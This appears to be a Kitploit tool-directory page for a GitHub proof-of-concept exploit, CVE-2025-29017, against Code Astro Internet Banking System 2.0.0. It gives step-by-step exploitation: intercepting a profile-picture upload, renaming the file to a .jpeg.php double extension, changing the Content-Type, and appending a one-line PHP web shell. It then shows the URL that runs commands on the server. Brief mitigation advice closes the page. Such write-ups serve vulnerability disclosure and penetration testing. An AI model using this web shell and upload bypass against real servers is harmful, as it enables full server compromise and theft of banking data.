Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/b1tm4r/cve-2025-29017
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubb1tm4r/cve-2025-29017

CVE-2025-29017

Proof-of-concept exploit for CVE-2025-29017, demonstrating remote code execution via malicious file upload in Code Astro Internet Banking System 2.0.0.

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29017 - Internet Banking System 2.0.0 Remote Code Execution via Profile Picture Upload

Description

A Remote Code Execution (RCE) vulnerability exists in Code Astro Internet Banking System 2.0.0 due to improper file upload validation in the profile_pic parameter within pages_view_client.php. Attackers can bypass security checks by modifying the upload request, leading to arbitrary code execution.

Affected Component

  • profile_pic parameter in pages_view_client.php
  • Upload function allows malicious PHP file execution

Exploitation Steps

  1. Navigate to the user profile settings and browse for a new profile picture.



  1. Intercept the profile picture upload request using a tool like Burp Suite.


  1. Modify the file to double extension (.jpeg.php), modify Content-Type header to application/x-php and append malicious PHP code:
root@kitploit:~
<?php system($_GET['cmd']); ?>



  1. You can check if file is uploaded at /admin/dist/img/:
root@kitploit:~
http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt


Impact

  • Full Server Compromise
  • Data Theft
  • Privilege Escalation

Mitigation

  • Restrict file uploads to image formats only and verify MIME types.
  • Sanitize filenames and block files containing executable code.
  • Store uploaded files outside the web root.

References

  • OWASP File Upload Security
Download Tool